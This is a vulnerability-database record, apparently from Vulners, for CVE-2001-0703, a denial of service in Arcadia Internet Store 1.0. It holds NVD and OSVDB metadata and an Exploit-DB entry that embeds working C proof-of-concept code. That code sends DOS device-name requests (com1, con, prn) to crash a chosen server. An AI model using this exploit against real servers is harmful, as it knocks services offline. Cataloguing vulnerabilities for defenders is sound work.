{"id": "CVE-2001-0703", "bulletinFamily": "NVD", "title": "CVE-2001-0703", "description": "tradecli.dll in Arcadia Internet Store 1.0 allows a remote attacker to cause a denial of service via a URL request with an MS-DOS device name in the template parameter.", "published": "2001-09-20T04:00:00", "modified": "2017-12-19T02:29:00", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0703", "reporter": "cve@mitre.org", "references": ["http://www.securityfocus.com/bid/2905", "http://www.securityfocus.com/archive/1/192651", "https://exchange.xforce.ibmcloud.com/vulnerabilities/6739"], "cvelist": ["CVE-2001-0703"], "type": "cve", "lastseen": "2019-05-29T18:07:37", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "87f6730b29f6838e7a919adc56c033a0"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "b313bc2aec07b5a087ddade4a409569b"}, {"key": "cpe23", "hash": "0c0b30318eb3b986b110318cfd43db32"}, {"key": "cvelist", "hash": "660fa85d521e315d2e5bb269f6105d6f"}, {"key": "cvss", "hash": "41b62a8aa1ee5c40897717cadc30784a"}, {"key": "cvss2", "hash": "85fc9715d07b57d9e72056856b007c7b"}, {"key": "cvss3", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cwe", "hash": "78a7a5cbaf09985c14389298e454e7db"}, {"key": "description", "hash": "d24adb3ab01bb5ada327e3cbb593f895"}, {"key": "href", "hash": "dded38be2bef79dcb61f132fcf39c822"}, {"key": "modified", "hash": "5735d9c13cfbd331fe56a3c91e78e26d"}, {"key": "published", "hash": "54abb6b8c21ec32782f7f3d545fd09e5"}, {"key": "references", "hash": "e0fe1c06ecc46dc85b587e2e14099977"}, {"key": "reporter", "hash": "444c2b4dda4a55437faa8bef1a141e84"}, {"key": "title", "hash": "2f2dba8a18a7803ec62d68e77277f510"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "a52a79dfdfa292a52f42a9270daf653fce805715b613c1a5cb227fcb4f3b5008", "viewCount": 0, "enchantments": {"dependencies": {"references": [{"type": "osvdb", "idList": ["OSVDB:13055"]}, {"type": "exploitdb", "idList": ["EDB-ID:20949"]}], "modified": "2019-05-29T18:07:37"}, "score": {"value": 6.1, "vector": "NONE", "modified": "2019-05-29T18:07:37"}, "vulnersScore": 6.1}, "objectVersion": "1.3", "cpe": ["cpe:/a:arcadia:arcadia_internet_store:1.0"], "affectedSoftware": [{"name": "arcadia arcadia_internet_store", "operator": "eq", "version": "1.0"}], "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:a:arcadia:arcadia_internet_store:1.0:*:*:*:*:*:*:*"], "cwe": ["NVD-CWE-Other"]}

{"osvdb": [{"lastseen": "2017-04-28T13:20:08", "bulletinFamily": "software", "description": "# No description provided by the source\n\n## References:\nISS X-Force ID: 6739\n[CVE-2001-0703](https://vulners.com/cve/CVE-2001-0703)\nBugtraq ID: 2905\n", "modified": "2001-06-21T00:00:00", "published": "2001-06-21T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:13055", "id": "OSVDB:13055", "title": "Arcadia Internet Store tradecli.dll DOS Device Name DoS", "type": "osvdb", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-02T15:20:43", "bulletinFamily": "exploit", "description": "1C: Arcadia Internet Store 1.0 Denial of Service Vulnerability. CVE-2001-0703. Dos exploit for windows platform", "modified": "2001-06-21T00:00:00", "published": "2001-06-21T00:00:00", "id": "EDB-ID:20949", "href": "https://www.exploit-db.com/exploits/20949/", "type": "exploitdb", "title": "1C: Arcadia Internet Store 1.0 - Denial of Service Vulnerability", "sourceData": "source: http://www.securityfocus.com/bid/2905/info\r\n\r\n1C: Arcadia Internet Store is a online shopping utility for Microsoft Windows NT/2000 that is fully integratable with 1C: Enterprise, another popular Russian web-commerce utility.\r\n\r\nOne of the components of this package, 'tradecli.dll', allows users to specify a template file, the contents of which will be output.\r\n\r\nRemote attackers can request dos devices, such as 'con', 'com1', 'com2', etc. When 'tradecli.dll' attempts to open these files a denial of service may occur. \r\n\r\n/*\r\n Proof of conecpt code by linux^sex\r\n Exploit provided by NERF Security gr0up\r\n Attempts to crash any server you specify\r\n running Arcadia 1C: Arcadia Internet Store 1.0\r\n on Windows NT/2000 fully integratable with \r\n 1C: Enterprise, another popular Russian \r\n web-commerce utility. \r\n\r\n code request dos devices, such as 'con', 'com1', 'com2', etc. \r\n When 'tradecli.dll' attempts to open these files a denial of \r\n service may occur. Vendor has not released any patches as of yet\r\n NOTE: I take no responsibility for the mis-use of this code\r\n*/\r\n \r\n\r\n\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <errno.h>\r\n#include <string.h>\r\n#include <netdb.h>\r\n#include <sys/types.h>\r\n#include <netinet/in.h>\r\n#include <sys/socket.h>\r\n\r\n#define PORT 80\r\nchar death[]= {\r\n \"GET /scripts/tradecli.dll?template=com1 HTML/1.0\\n\\n\\n\"\r\n \"GET /scripts/tradecli.dll?template=com2 HTML/1.0\\n\\n\\n\"\r\n \"GET /scripts/tradecli.dll?template=com3 HTML/1.0\\n\\n\\n\"\r\n \"GET /scripts/tradecli.dll?template=con HTML/1.0\\n\\n\\n\"\r\n \"GET /scripts/tradecli.dll?template=prn HTML/1.0\\n\\n\\n\"\r\n \"GET /scripts/tradecli.dll?template=aux HTML/1.0\\n\\n\\n\"\r\n};\r\n\r\nint main(int argc, char *argv[]) {\r\n int sockfd;\r\n char buf[1024];\r\n struct hostent *ha;\r\n struct sockaddr_in sa;\r\n if (argv[1] == NULL) {\r\n printf(\"Usage: %s <HOST>\\n\", argv[0]);\r\n printf(\"Proof of concecpt code by linux^sex\\n\");\r\n printf(\"contact me at linuxsex@crackdealer.com\\n\");\r\n printf(\"props to r00t-access crew\\n\");\r\n printf(\"visit us at www.r00taccess.ath.cx\\n\");\r\n exit(0);\r\n }\r\n\r\n if (!(ha = gethostbyname (argv[1])))\r\n perror (\"gethostbyname\");\r\n\r\n bzero (&sa, sizeof (sa));\r\n bcopy (ha->h_addr, (char *) &sa.sin_addr, ha->h_length);\r\n sa.sin_family = ha->h_addrtype;\r\n sa.sin_port = htons (PORT);\r\n \r\n if ((sockfd = socket (ha->h_addrtype, SOCK_STREAM, 0)) < 0) {\r\n perror (\"socket\");\r\n exit (1);\r\n }\r\n printf(\"Connecting\\n\");\r\n if (connect (sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {\r\n perror (\"connect\");\r\n exit (1);\r\n }\r\n printf(\"Connected...\\nrequesting dos devices\\n\");\r\n send(sockfd, death, sizeof(death), 0);\r\n read(sockfd, buf, 1024, 0);\r\n if (buf != NULL) {\r\n printf(\"Host is not vulnerable\\n\");\r\n close(sockfd);\r\n }\r\n}\r\n\r\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/20949/"}]}